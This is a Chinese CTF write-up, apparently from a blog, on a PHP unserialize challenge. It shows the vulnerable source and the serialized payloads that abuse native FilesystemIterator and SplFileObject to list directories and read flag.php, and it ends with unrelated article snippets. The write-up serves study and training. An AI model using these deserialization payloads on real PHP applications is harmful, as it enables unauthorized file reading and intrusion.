当前位置: 首页 > news >正文

【web]-反序列化-easy ? not easy

打开后看到源码

<?php
error_reporting(0);
highlight_file(__FILE__);class A{public $class;public $para;public $check;public function __construct(){$this->class = "B";$this->para = "ctfer";echo new  $this->class ($this->para);}public function __wakeup(){$this->check = new C;if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {echo new  $this->class ($this->para);}elsedie('bad hacker~');}}
class B{var $a;public function __construct($a){$this->a = $a;echo ("hello ".$this->a);}
}
class C{function vaild($code){$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';if (preg_match($pattern, $code)){return false;}elsereturn true;}
}if(isset($_GET['pop'])){unserialize($_GET['pop']);
}
else{$a=new A;} hello ctfer

分析源码只看到__wakeup函数,其他类没有什么可以利用的,起点、终点、跳板不管用了。只能用php原生态类来输出文件列表读取文件(而且过滤了一些特殊符号,命令通配符等,包含数字字母\,也只能用路径了),代替命令执行。最终的目的也是读取文件获取内容哦。

FilesystemIterator 遍历目录 直接echo会输出目录下第一个文件夹或文件名
SplFileObject 读取文件内容,按行读取,跨行需要遍历
DirectoryIterator 遍历目录 直接echo会输出目录下的

读取一下目录/var/www/html

<?php
class A{public $class = 'FilesystemIterator';public $para = '/var/www/html';public $check;
}
$a =  new A();
echo serialize($a);
?>O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:13:"/var/www/html";s:5:"check";N;}

输出目录:1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE

继续构造

<?php
class A{public $class = 'FilesystemIterator';public $para = '/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE';public $check;
}
$a =  new A();
echo serialize($a);
?>O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:47:"/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE";s:5:"check";N;}

显示 flag.php,接下来就要读取内容

<?php
class A{public $class = 'SplFileObject ';public $para = '/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php';public $check;
}
$a =  new A();
echo serialize($a);
?>O:1:"A":3:{s:5:"class";s:14:"SplFileObject ";s:4:"para";s:56:"/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";s:5:"check";N;}

输入后得到结果:aced3598a34a561715dacfe32a328c1c

相关文章:

【web]-反序列化-easy ? not easy

打开后看到源码 <?php error_reporting(0); highlight_file(__FILE__);class A{public $class;public $para;public $check;public function __construct(){$this->class "B";$this->para "ctfer";echo new $this->class ($this->para…...

python 内置函数、math模块

一、内置函数 内置函数是 Python 解释器内置的一组函数&#xff0c;它们可以直接在 Python 程序中使用&#xff0c;无需额外导入模块。这些内置函数提供了基本的操作和功能&#xff0c;涵盖了广泛的用途&#xff0c;从数学运算到数据结构操作等等。 import mathprint(type(10)…...

Ubuntu Docker 安装

Ubuntu Docker 安装 1. 引言 Docker 是一个开源的应用容器引擎,它允许开发者打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。 2. 系统要求 在安装 Docker 之前,…...

vue接入google map自定义marker教程

需求背景 由于客户需求&#xff0c;原来系统接入的高德地图&#xff0c;他们不接受&#xff0c;需要换成google地图。然后就各种百度&#xff0c;各种Google&#xff0c;却不能实现。----无语&#xff0c;就连google地图官方的api也是一坨S-H-I。所以才出现这篇文章。 google地…...

Spring Boot集成Redis与Lua脚本:构建高效的分布式多规则限流系统

文章目录 Redis多规则限流和防重复提交记录访问次数解决临界值访问问题实现多规则限流先确定最终需要的效果编写注解&#xff08;RateLimiter&#xff0c;RateRule&#xff09;拦截注解 RateLimiter 编写lua脚本UUID时间戳编写 AOP 拦截 总结 Redis多规则限流和防重复提交 市面…...

四、单线程多路IO复用+多线程业务工作池

文章目录 一、前言1 编译方法 二、单线程多路IO复用多线程业务工作池结构三、重写Client_Context类四、编写Server类 一、前言 我们以及讲完单线程多路IO复用 以及任务调度与执行的C线程池&#xff0c;接下来我们就给他结合起来。 由于项目变大&#xff0c;尝试解耦项目&#…...

单元测试--Junit

Junit是Java的单元测试框架提供了一些注解方便我们进行单元测试 1. 常用注解 常用注解&#xff1a; TestBeforeAll&#xff0c;AfterAllBeforeEach&#xff0c;AfterEach 使用这些注解需要先引入依赖&#xff1a; <dependency><groupId>org.junit.jupiter<…...

达梦数据库系列—30. DTS迁移Mysql到DM

目录 1.MySQL 源端信息 2.DM 目的端信息 3.迁移评估 4.数据库迁移 4.1源端 MySQL 准备 4.2目的端达梦准备 初始化参数设置 兼容性参数设置 创建迁移用户和表空间 4.3迁移步骤 创建迁移 配置迁移对象及策略 开始迁移 对象补迁 5.数据校验 统计 MySQL 端对象及数…...

随记0000——从0、1 到 C语言

C语言的发展历程是计算机科学史上的一个重要里程碑。 下面是从最早的机器语言到汇编语言&#xff0c;再到高级语言如 C 语言的简化演进过程&#xff1a; 1. 机器语言 定义与特点 机器语言是最底层的编程语言&#xff0c;由一系列二进制代码组成。直接被CPU执行&#xff0c;…...

C++ | Leetcode C++题解之第264题丑数II

题目&#xff1a; 题解&#xff1a; class Solution { public:int nthUglyNumber(int n) {vector<int> dp(n 1);dp[1] 1;int p2 1, p3 1, p5 1;for (int i 2; i < n; i) {int num2 dp[p2] * 2, num3 dp[p3] * 3, num5 dp[p5] * 5;dp[i] min(min(num2, num3…...

前端系列-8 集中式状态管理工具pinia

集中式状态管理工具—pinia vue3中使用pinia作为集中式状态管理工具&#xff0c;替代vue2中的vuex。 pinia文档可参考: https://pinia.web3doc.top/introduction.html 1.项目集成pinia 安装pinia依赖: npm install pinia在main.ts中引入pinia import { createApp } from vu…...

pytest使用

主要技术内容 1.pytest设计 接口测试 框架设想 common—公共的东西封装 1.request请求 2.Session 3.断言 4.Log 5.全局变量 6.shell命令 ❖ config---配置文件及读取 ❖ Log— ❖ payload—请求参数—*.yaml及读取 ❖ testcases—conftest.py; testcase1.py…….可…...

单表查询总结与多表查询概述

1. 单表查询总结 执行顺序&#xff1a; 从一张表&#xff0c;过滤数据&#xff0c;进行分组&#xff0c;对分组后的数据再过滤&#xff0c;查询出来所需数据&#xff0c;排序之后输出&#xff1b; from > where > group by > having > select > order by 2. …...

redis的使用场景和持久化方式

redis的使用场景 热点数据的缓存。热点&#xff1a;频繁读取的数据。限时任务的操作&#xff1a;短信验证码。完成session共享的问题完成分布式锁。 redis的持久化方式 什么是持久化&#xff1a;把内存中的数据存储到磁盘的过程&#xff0c;同时也可以把磁盘中的数据加载到内存…...

嵌入式Linux学习: 设备树实验

设备树&#xff08;DeviceTree&#xff09;是一种硬件描述机制&#xff0c;用于在嵌入式系统和操作系统中描述硬件设备的特性、连接关系和配置信息。它提供了一种与平台无关的方式来描述硬件&#xff0c;使得内核与硬件之间的耦合度降低&#xff0c;提高了系统的可移植性和可维…...

eqmx上读取数据处理以后添加到数据库中

目录 定义一些静态变量 定时器事件的处理器 订阅数据的执行器 处理json格式数据和将处理好的数据添加到数据库中 要求和最终效果 总结一下 定义一些静态变量 // 在这里都定义成全局的 一般都定义成静态的private static MqttClient mqttClient; // mqtt客户端 private s…...

【中项】系统集成项目管理工程师-第5章 软件工程-5.3软件设计

前言&#xff1a;系统集成项目管理工程师专业&#xff0c;现分享一些教材知识点。觉得文章还不错的喜欢点赞收藏的同时帮忙点点关注。 软考同样是国家人社部和工信部组织的国家级考试&#xff0c;全称为“全国计算机与软件专业技术资格&#xff08;水平&#xff09;考试”&…...

C++学习笔记-内联函数使用和含义

引言 内联函数是C为了优化在函数的调用带来的性能开销而设计的&#xff0c;特别是当函数体很小且频繁调用时&#xff0c;内联函数可以让编译器在调用点直接展开函数体&#xff0c;从而避免了函数调用的开销。 一、内联函数的定义与含义 1.1 定义 内联函数是通过在函数声明或…...

数据库(MySQL)-视图、存储过程、触发器

一、视图 视图的定义、作用 视图是从一个或者几个基本表&#xff08;或视图&#xff09;导出的表。它与基本表不同&#xff0c;是一个虚表。但是视图只能用来查看表&#xff0c;不能做增删改查。 视图的作用&#xff1a;①简化查询 ②重写格式化数据 ③频繁访问数据库 ④过…...

js 优雅的实现模板方法设计模式

在JavaScript中&#xff0c;优雅地实现模板方法设计模式通常意味着我们要遵循一些最佳实践&#xff0c;如清晰地定义算法的骨架&#xff08;模板方法&#xff09;&#xff0c;并确保子类能够灵活地扩展或修改这些算法中的特定步骤。由于JavaScript是一种动态语言&#xff0c;我…...

别再死记PRBS7/15了!用Python+NumPy手搓一个可配置的PRBS码生成器(附完整代码)

用Python构建可配置PRBS生成器&#xff1a;从LFSR原理到信号仿真实战 在数字通信和高速电路设计中&#xff0c;工程师们经常需要生成特定的测试信号来验证系统性能。伪随机二进制序列&#xff08;PRBS&#xff09;因其近似真实数据流的特性&#xff0c;成为信号完整性测试的黄金…...

用STC89C52单片机DIY一个乒乓球发球机:从电路图到代码的完整实现(附避坑指南)

用STC89C52单片机打造智能乒乓球发球机&#xff1a;从元器件选型到实战调试全解析 乒乓球作为一项广受欢迎的运动&#xff0c;对反应速度和手眼协调能力有着极高要求。而一台可靠的自制发球机&#xff0c;不仅能帮助爱好者随时练习&#xff0c;更是理解机电一体化系统的绝佳实践…...

【小白也能懂得操作】解决 OpenClaw 操作电脑受限问题详细指南(含安装包)

OpenClaw 没有电脑操作权限怎么办&#xff1f;完整解决方法 【新人点击链接直接下载openclaw安装包】 OpenClaw 在运行时需要对系统进行文件读写、键鼠模拟、窗口控制等操作&#xff0c;如果出现无法操作电脑、提示没有权限的问题&#xff0c;会直接影响自动化功能使用。本文…...

(2024实战指南)从零到一:CTFd平台部署、Docker动态靶场构建与动态Flag生成全解析

1. CTFd平台部署全流程解析 搭建CTF竞赛平台的第一步就是部署CTFd。作为目前最流行的开源CTF平台&#xff0c;CTFd支持动态靶机、题目管理、积分排名等核心功能。我去年为学校搭建竞赛平台时&#xff0c;发现最新版的CTFd在Docker部署上有些变化&#xff0c;这里分享下2024年最…...

小白程序员必看!收藏这份Agent入门指南,抢占未来运维高薪岗位

本文用通俗易懂的语言解释了什么是AI Agent&#xff0c;将其类比为能自主决策并调用工具的“实习生”&#xff0c;强调其与普通AI聊天的区别在于能自动完成任务。文章详细阐述了Agent的“感知-思考-行动”工作流程&#xff0c;并通过运维场景对比&#xff0c;展示了Agent在告警…...

Python应用性能监控实战:New Relic APM代理原理与部署指南

1. 项目概述&#xff1a;一个现代应用性能的“听诊器”如果你正在用Python构建Web服务、后台任务或者任何需要7x24小时稳定运行的应用&#xff0c;那么“性能”和“可观测性”这两个词&#xff0c;一定是你日常工作中绕不开的焦点。当线上服务突然变慢&#xff0c;用户投诉接踵…...

终极指南:3分钟掌握Deepin Boot Maker,轻松制作Linux启动盘

终极指南&#xff1a;3分钟掌握Deepin Boot Maker&#xff0c;轻松制作Linux启动盘 【免费下载链接】deepin-boot-maker 项目地址: https://gitcode.com/gh_mirrors/de/deepin-boot-maker 你是否曾经因为复杂的命令行操作而对Linux系统安装望而却步&#xff1f;或者面对…...

Minecraft服务器技能管理自动化:mcpskills-cli命令行工具实战指南

1. 项目概述与核心价值最近在折腾一些自动化脚本&#xff0c;特别是涉及到Minecraft服务器管理和技能系统的时候&#xff0c;发现很多操作还是得手动进后台敲命令&#xff0c;或者依赖一些图形化面板&#xff0c;效率上总感觉差了点意思。直到我发现了alibiinformationsuperhig…...

XXMI启动器终极指南:一站式游戏模组管理平台,轻松实现二次元游戏个性化

XXMI启动器终极指南&#xff1a;一站式游戏模组管理平台&#xff0c;轻松实现二次元游戏个性化 【免费下载链接】XXMI-Launcher Modding platform for GI, HSR, WW and ZZZ 项目地址: https://gitcode.com/gh_mirrors/xx/XXMI-Launcher XXMI启动器是一款功能强大的开源游…...

Circuit Playground开发板入门:从零到一玩转集成传感器与Arduino编程

1. 项目概述与核心价值如果你对电子制作和编程感兴趣&#xff0c;但一看到复杂的电路图和密密麻麻的代码就头疼&#xff0c;那么Circuit Playground可能就是为你量身打造的“入场券”。它不是一个需要你从零焊接电阻、电容的散件包&#xff0c;而是一块将所有常用传感器和交互元…...